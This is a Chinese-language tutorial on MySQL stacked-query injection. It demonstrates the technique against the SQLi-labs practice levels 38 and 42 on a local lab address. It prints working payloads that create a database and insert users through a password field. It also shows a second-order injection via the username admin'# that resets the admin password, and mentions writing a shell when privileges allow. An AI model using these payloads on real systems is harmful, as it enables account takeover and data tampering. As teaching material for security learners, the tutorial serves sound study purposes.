MYSQL 堆叠注入详解
堆叠注入与受限于select语句的联合查询法相反,堆叠注入可用于执行任意SQL语句。简单地说就是MYSQL的多语句查询
堆叠注入的局限性:堆叠注入并不是在哦任何换环境下都可以执行的,可能受到API或者数据库引擎不支持的限制(如Oracle数据库),也有可能权限不足。web系统中,因为代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,一般建议使用union注入.同时在使用堆叠注入之前,需要知道数据库的一些相关信息,比如:表名,列名等信息
在PHP中,mysqli_multi_query()
函数可以多语句查询SQL
mysqli_multi_query()
参数 | 描述 |
---|---|
connection | 必需,规定使用的MYSQL连接 |
query | 必需,规定一个或多个查询,用分号进行分隔 |
技术支持
返回值 | 如果第一个查询失败则返回FALSE |
PHP版本 | 5+ |
本地测试GET型
http://192.168.1.100/sqllabs/Less-38/?id=1';create database aaron --+
堆叠注入,查询的前提是知道数据库名,表名等信息,而且如果执行任意语句,肯定是高权限,可以直接写shell
POST型注入流程
SQL-LABS LESS-42中,发现无法新建用户,点击新建,提示if you need create account,then hack your way in
,那么思考肯定存在堆叠注入,但是在POST注入中,一般登录是select
查询,假设已知用户test
,密码test
,那么登录之后发现会立即修改密码,那么思考可能存在二次注入的风险
思路:
判断堆叠注入,给users表添加用户,在SQL语句构造正确的情况下,如果跳转到修改密码的页面,那么退出登录,添加的用户能登录成功则说明堆叠注入成功
二次注入:在堆叠注入的前提下,构造特殊的用户名存入数据库,然后再更新密码的时候,用来闭合单引号,并注释后面的语句,达到SQL注入的目的
猜想第一步验证登录SQL语句如下
$sql = select * from users where username = '$username' and password = '$password';
$sql = select * from users where password = '$password' and username = '$username';
那么分别在username,password处进行堆叠注入,通过测试,发现在password处存在注入点
在password处构造payload如下
test';insert into users values('19','t','t')#
如图所示
尝试寻找二次注入漏洞,构造payload如下
test';insert into users value('16',"admin'#",'123')#
登录admin‘#
修改密码会对数据库操作,猜想使用的SQL语句如下
update users set password = 'password' where username = 'username'
在修改密码之前,肯定还是要验证是否是本人,在修改之前会执行select 判断是否是本人,猜想执行的SQL语句如下
select * from users where username = 'username' and password = 'password'
当用户名为admin’#,那么执行这两步的SQL语句则如下
select * from users where username = 'admin' #' and password = 'password'
update users set password = 'password' where username = 'admin'#'
则输入的Curren Password
被注释,那么随便输入password就行
在修改密码时,直接修改admin的密码,并且闭合单引号,将后面的引号注释掉以达到SQL注入